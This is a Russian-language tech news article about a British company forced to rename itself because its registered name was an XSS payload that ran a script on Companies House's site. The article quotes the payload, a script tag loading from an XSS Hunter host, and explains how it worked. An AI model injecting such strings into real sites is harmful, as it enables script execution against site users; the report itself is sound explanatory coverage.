Британскую компанию заставили сменить название — оно провоцировало атаки на сайты

Регистрационная палата Великобритании обязала одну из местных компаний провести ребрендинг, потому что её наименование ставило под угрозу безопасность некоторых сайтов, включая ресурс самого учреждения, сообщает The Guardian.

1 комментарий
Британскую компанию заставили сменить название — оно провоцировало атаки на сайты

Регистрационная палата Великобритании обязала одну из местных компаний провести ребрендинг, потому что её наименование ставило под угрозу безопасность некоторых сайтов, включая ресурс самого учреждения, сообщает The Guardian.

Консалтинговую компанию «“><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD» основал британский разработчик — название казалось ему забавным и, как он думал, будет способствовать развитию бизнеса.

Позже было установлено, что имя делало сайт Регистрационной палаты уязвимым к XSS-атакам (межсайтовый скриптинг). В ходе таких атак хакеры могут внедрять в веб-страницы вредоносный код, выполняющийся на пользовательском устройстве при открытии страницы.

Сайты, которые некорректно обрабатывают HTML-код, из-за первых двух символов “ и > названия по ошибке считали его пустым. Далее они загружали и выполняли скрипт с платформы XSS Hunter, которая помогает разработчикам искать XSS-уязвимости.

Скрипт выводил безобидное уведомление. Но сама возможность его появления говорит о том, ошибку могут эксплуатировать киберпреступники, чтобы нанести более серьёзный ущерб.

По словам основателя компании, пожелавшего остаться анонимным, кавычки и угловые скобки допускаются нормами агентства и встречаются в других шутливых наименованиях компаний. Поэтому он думал, что его название не станет проблемой, а агентство предприняло меры для предотвращения подобных инцидентов.

Компания уже получила новое имя: теперь она называется «THAT COMPANY WHOSE NAME USED TO CONTAIN HTML SCRIPT TAGS LTD» (Компания, в названии которой были HTML-теги).

Хотите сообщить важную новость? Пишите в Телеграм-бот.

А также подписывайтесь на наш Телеграм-канал.

Горячие события

Gismart Online Meetup
9 декабря

Gismart Online Meetup

Минск

Читайте также

11 древних сайтов, которые до сих пор активны
11 древних сайтов, которые до сих пор активны
11 древних сайтов, которые до сих пор активны
1 комментарий
Великобритания запретила установку 5G-оборудования Huawei
Великобритания запретила установку 5G-оборудования Huawei
Великобритания запретила установку 5G-оборудования Huawei
Великобритания создаёт орган по контролю за бигтехом
Великобритания создаёт орган по контролю за бигтехом
Великобритания создаёт орган по контролю за бигтехом
Чего хотят работодатели от фрилансеров: топ-15 востребованных айти-навыков
Чего хотят работодатели от фрилансеров: топ-15 востребованных айти-навыков
Чего хотят работодатели от фрилансеров: топ-15 востребованных айти-навыков
4 комментария

Обсуждение

Алексей Романов
Алексей Романов Engineering Team Lead в Wargaming / Гейм Стрим
0

Агонь!
Ещё одна вариация https://xkcd.ru/327/

Спасибо! 

Получать рассылки dev.by про белорусское ИТ

Что-то пошло не так. Попробуйте позже